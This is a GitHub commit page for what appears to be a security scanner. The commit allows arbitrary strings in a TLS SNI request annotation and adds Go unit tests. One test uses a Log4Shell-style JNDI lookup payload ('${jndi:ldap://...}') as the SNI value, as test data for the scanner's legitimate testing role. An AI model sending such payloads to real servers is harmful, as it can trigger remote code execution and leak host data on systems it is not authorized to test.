Skip to content

Commit

Permalink
http: support arbitrary strings on TLS SNI annotation (projectdiscove…
Browse files Browse the repository at this point in the history
  • Loading branch information
jimen0 authored and tarunKoyalwar committed Dec 20, 2023
1 parent d223c90 commit 1fadc83
Show file tree
Hide file tree
Showing 2 changed files with 39 additions and 3 deletions.
11 changes: 8 additions & 3 deletions pkg/protocols/http/request_annotations.go
Original file line number Diff line number Diff line change
Expand Up @@ -2,6 +2,7 @@ package http

import (
"context"
"crypto/tls"
"net"
"regexp"
"strings"
Expand Down Expand Up @@ -87,10 +88,8 @@ func (r *Request) parseAnnotations(rawRequest string, request *retryablehttp.Req
if hosts := reSniAnnotation.FindStringSubmatch(rawRequest); len(hosts) > 0 {
value := strings.TrimSpace(hosts[1])
value = stringsutil.TrimPrefixAny(value, "http://", "https://")
if idxForwardSlash := strings.Index(value, "/"); idxForwardSlash >= 0 {
value = value[:idxForwardSlash]
}

var literal bool
switch value {
case "request.host":
value = request.Host
Expand All @@ -99,9 +98,15 @@ func (r *Request) parseAnnotations(rawRequest string, request *retryablehttp.Req
value = interactshURL
}
overrides.interactshURLs = append(overrides.interactshURLs, value)
default:
literal = true
}
ctx := context.WithValue(request.Context(), fastdialer.SniName, value)
request = request.Clone(ctx)

if literal {
request.TLS = &tls.ConnectionState{ServerName: value}
}
modified = true
}

Expand Down
31 changes: 31 additions & 0 deletions pkg/protocols/http/request_annotations_test.go
Original file line number Diff line number Diff line change
Expand Up @@ -10,6 +10,37 @@ import (
"github.com/stretchr/testify/require"
)

func TestRequestParseAnnotationsSNI(t *testing.T) {
t.Run("compliant-SNI-value", func(t *testing.T) {
req := &Request{connConfiguration: &httpclientpool.Configuration{}}
rawRequest := `@tls-sni: github.com
GET / HTTP/1.1
Host: {{Hostname}}`

httpReq, err := retryablehttp.NewRequest(http.MethodGet, "https://example.com", nil)
require.Nil(t, err, "could not create http request")

overrides, modified := req.parseAnnotations(rawRequest, httpReq)
require.True(t, modified, "could not apply request annotations")
require.Equal(t, "github.com", overrides.request.TLS.ServerName)
require.Equal(t, "example.com", overrides.request.URL.Hostname())
})
t.Run("non-compliant-SNI-value", func(t *testing.T) {
req := &Request{connConfiguration: &httpclientpool.Configuration{}}
rawRequest := `@tls-sni: ${jndi:ldap://${hostName}.test.com}
GET / HTTP/1.1
Host: {{Hostname}}`

httpReq, err := retryablehttp.NewRequest(http.MethodGet, "https://example.com", nil)
require.Nil(t, err, "could not create http request")

overrides, modified := req.parseAnnotations(rawRequest, httpReq)
require.True(t, modified, "could not apply request annotations")
require.Equal(t, "${jndi:ldap://${hostName}.test.com}", overrides.request.TLS.ServerName)
require.Equal(t, "example.com", overrides.request.URL.Hostname())
})
}

func TestRequestParseAnnotationsTimeout(t *testing.T) {
t.Run("positive", func(t *testing.T) {
request := &Request{
Expand Down

0 comments on commit 1fadc83

Please sign in to comment.